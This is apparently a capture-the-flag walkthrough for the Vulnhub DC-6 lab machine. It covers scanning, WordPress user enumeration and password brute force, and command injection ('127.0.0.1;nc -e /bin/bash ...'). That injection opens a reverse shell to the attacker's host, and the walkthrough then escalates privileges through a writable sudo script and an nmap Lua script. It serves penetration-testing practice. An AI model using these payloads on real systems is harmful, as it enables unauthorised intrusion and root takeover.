DC-6 Vulnhub Machine Exploitation

Environment Setup

Download the target machine from Vulnhub DC-6.

Import the target into Oracle VM VirtualBox, set network to Host-Only, and ensure the network adapter matches the Kali machine.

Network settings

Start the target machine.

Machine boot

Penetration Process

Use nmap for host discovery:

nmap -sn 192.168.56.0/24

Host discovery

Port scanning with nmap:

nmap -sS 192.168.56.111

Port scan

Ports 22 and 80 are open. Access port 80 via browser.

Web page failure

Modify /etc/hosts:

vim /etc/hosts

Add entry: 192.168.56.111 wordy .

hosts file

Now access http://wordy successfully.

Successful access

Web directory scanning with dirb:

dirb http://192.168.56.111

dirb scan

Found a login page.

Login page

Check the CMS fingerprint.

CMS fingerprint

It's WordPress version 5.1.1. Use wpscan to enumerate users:

wpscan --url http://192.168.56.111 -e u

User enumeration

Found users: admin, graham, sarah, mark, jens.

Save them to a file user.txt.

user.txt

Brute force passwrods with wpscan:

wpscan --url http://wordy -U user.txt -P /usr/share/wordlists/rockyou.txt

Password brute force

Found credentials: mark:helpdesk01. Log in.

Login success

Navigate to a page that has a command execution vulnerability. For example, in the Activity monitor or similar.

Execute:

127.0.0.1;ls

Command execution

Set up a listener on attacker machine:

nc -lvp 6666

Listener

Get a reverse shell:

127.0.0.1;nc -e /bin/bash 192.168.56.102 6666

Reverse shell

Shell obtained.

Shell

Upgrade to interactive shell:

python -c "import pty;pty.spawn('/bin/bash');"

Upgrade

In /home/mark/stuff, there is a file.

Stuff file

It contains a password for user graham. Switch to graham:

su graham
# Enter password: GSo7isUM1D4

Graham login

Check sudo privileges:

sudo -l

Sudo -l

Can execute /home/jens/backups.sh as jens. Write a command to that file:

echo "/bin/bash" > /home/jens/backups.sh

Write bash

Execute it:

sudo -u jens /home/jens/backups.sh

Switch to jens

Now logged in as jens. Check sudo privlieges:

sudo -l

Jens sudo

Can run nmap as root. Create a script file:

echo "os.execute('/bin/bash')" > shell

Note: if permission denied, change to /home/jens/ directory first.

cd /home/jens
echo "os.execute('/bin/bash')" > shell
sudo nmap --script=shell

Privilege escalation

Successfully escalated to root. View the flag:

Flag

Tags: Vulnhub DC-6 WordPress Penetration Testing Privilege Escalation

Posted on Wed, 13 May 2026 04:19:08 +0000 by aviavi